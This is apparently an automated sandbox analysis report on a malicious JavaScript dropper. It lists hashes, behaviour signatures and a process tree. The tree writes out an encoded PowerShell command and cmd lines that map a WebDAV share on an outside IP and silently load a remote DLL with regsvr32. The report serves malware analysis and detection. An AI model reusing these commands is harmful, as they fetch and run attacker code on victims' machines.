Analysis

  • max time kernel
    93s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-11-2024 02:11

General

  • Target

    20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74.js

  • Size

    1.6MB

  • MD5

    bae204a687fd5f7dc29dd82e51ae085b

  • SHA1

    dcf4b0f1cbd08002dce18a01d8f5d1eeae8bfc8a

  • SHA256

    20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74

  • SHA512

    9d0b1099f782d949f756d3987f61479dabd3f41ddb56b61b55feb2cda2a341ea3b1a43e48cb4adcf06da590f9caf3123e61eeb01a5f02c227c8dec10ad313051

  • SSDEEP

    24576:Us9MhhwQhD8I9YgygaXziWqE9oGzJWPan2Yhxp:V

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4228
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAzADcAMQAwADEANgA2ADUANQAyADIANQAxADAALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4800
      • C:\Windows\system32\timeout.exe
        "C:\Windows\system32\timeout.exe" 1
        3⤵
        • Delays execution with timeout.exe
        PID:1132
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2368
        • C:\Windows\system32\net.exe
          net use \\94.159.113.79@8888\davwwwroot\
          4⤵
            PID:1616
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4244
          • C:\Windows\system32\regsvr32.exe
            regsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll
            4⤵
              PID:2648

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fzyzrqf4.lny.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4800-0-0x00007FFFFDBF3000-0x00007FFFFDBF5000-memory.dmp

        Filesize

        8KB

      • memory/4800-6-0x000001E678F90000-0x000001E678FB2000-memory.dmp

        Filesize

        136KB

      • memory/4800-11-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

        Filesize

        10.8MB

      • memory/4800-12-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

        Filesize

        10.8MB

      • memory/4800-15-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

        Filesize

        10.8MB